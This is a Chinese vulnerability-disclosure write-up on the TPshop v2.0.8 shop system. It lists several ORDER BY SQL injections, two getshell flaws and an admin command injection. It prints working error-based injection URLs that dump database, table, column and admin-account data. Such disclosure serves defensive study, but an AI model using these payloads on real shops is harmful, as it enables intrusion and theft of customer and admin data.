0x00 前言

这个系统的漏洞也是放了很久了,这几天逛T00ls发现给人家爆出来了。。爆出来了。我也一次性爆完把=-=,有和T00ls论坛的那个哥们重复的纯属正常。

防止说我是照抄的,引起不好影响,下面那图是我审计的时候上传的时间,来证明一下,引起误会就不好了。

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图1

0x02 说明

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。
下载地址:http://www.tp-shop.cn/Index/Index/download.html

  1. 目录大概结构
  2. ├─index.php 入口文件
  3. ├─Install 安装目录 //保存着各种的sql文件 php文件初始化
  4. ├─Thinkphp PHP框架代码
  5. ├─plugins 保存插件的地方
  6. ├─vendor 第三方类库
  7. ├─Public 保存css,jsimgupload的地方
  8. ├─Template 模版文件 //保存手机与电脑端html的地方
  9. ├─mobile 手机模版文件
  10. ├─pc 电脑模版文件
  11. ├─application 项目文件夹
  12. ├─home 电脑端业务代码 //保存着电脑端的各种功能PHP文件
  13. ├─Controller 控制器
  14. ├─lang 语言包
  15. ├─Logic 模型逻辑层(可以当成Services来看)
  16. ├─model 模型层
  17. ├─validate 验证器
  18. ├─view 视图(在这框架中并没有什么用)
  19. ├─admin 管理端业务代码 //保存着管理端的各种功能PHP文件同上
  20. ├─mobile 手机端业务代码 //保存着手机端的各种功能PHP文件
  21. ├─common 全局公共函数文件夹(我也不懂为什么这里要放一大把的model的东西)
  22. ├─common.php 全局公共函数文件
  23. ├─config php 全局公共配置文件
  24. ├─database.php 数据库配置文件
  25. ├─function.php 公共函数文件
  26. ├─route.php 系统路由文件
  27. ├─tags.php 应用行为扩展定义文件

0x03 正文

注入篇

漏洞1:前台sql注入 order by注入

文件地址:application/home/controller/Goods.php
URL地址:http://xx.com/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/desc
问题函数:goodsList()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc');// 排序

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图2

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图3

因为是order by 的注入所以要利用一些平时用不到的sql语句

爆当前库名:

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图4

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT database() ),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))

爆此mysql库的总数:

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图5

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8138 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

爆某个库的名称:

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图6

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图7

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图8

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 4362 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个库表的总数:
TPshop_20171106_v2.0.8版-多个漏洞集合 - 图9

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8139 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36)),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个库每个表的表名:

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图10

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图11

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图12

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3572 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36) LIMIT 2,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个表的字段总数:

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图13

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图14

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 1965 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个表 某个字段名称:
TPshop_20171106_v2.0.8版-多个漏洞集合 - 图15

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3302 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36 LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某库某表某字段数据:

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图16

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图17

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图18

  1. http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2857 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(admin_id AS CHAR),0x20)),1,451) FROM `tpshop2.0.6`.tp_admin ORDER BY admin_id LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

漏洞2:前台sql注入 order by注入

文件地址:application/home/controller/Goods.php
URL地址:http://xx.com/index.php/Home/Goods/search/q/a/sort/sales_sum
问题函数:search()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc');// 排序

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图19

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图20

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图21

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图22

漏洞3:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php
URL地址:http://xx.com/index.php/Mobile/Goods/goodsList/id/1/sort_asc/desc
问题函数:goodsList()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc'); // 排序

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图23

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图24

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图25

漏洞4:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php
URL地址:http://xx.com/index.php/Mobile/Goods/search/id/0/q/小米/sort/shop_price
问题函数:search()
问题参数_1: $sort = I('get.sort','goods_id'); // 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc'); // 排序

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图26

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图27

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图28

前后台getshell篇

漏洞1:前台无限制getshell漏洞

文件地址:application/home/controller/Test.php
URL地址:http://xx.com/index.php/Home/test/dlfile
问题函数:dlfile()

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图29

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图30

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图31

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图32

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图33

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图34

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图35

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图36

漏洞2:前台无限制getshell漏洞

文件地址:application/home/controller/Uploadify.php
URL地址:http://xx.com/index.php/Home/Uploadify/preview
问题函数:preview()

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图37

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图38

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图39

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图40

漏洞3:后台有限制 命令注入 漏洞

文件地址:application\admin\controller\Plugin.php
URL地址:http://xx.com/index.php/Admin/Plugin/add_shipping
问题函数:add_shipping

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图41

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图42

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图43

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图44

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图45

TPshop_20171106_v2.0.8版-多个漏洞集合 - 图46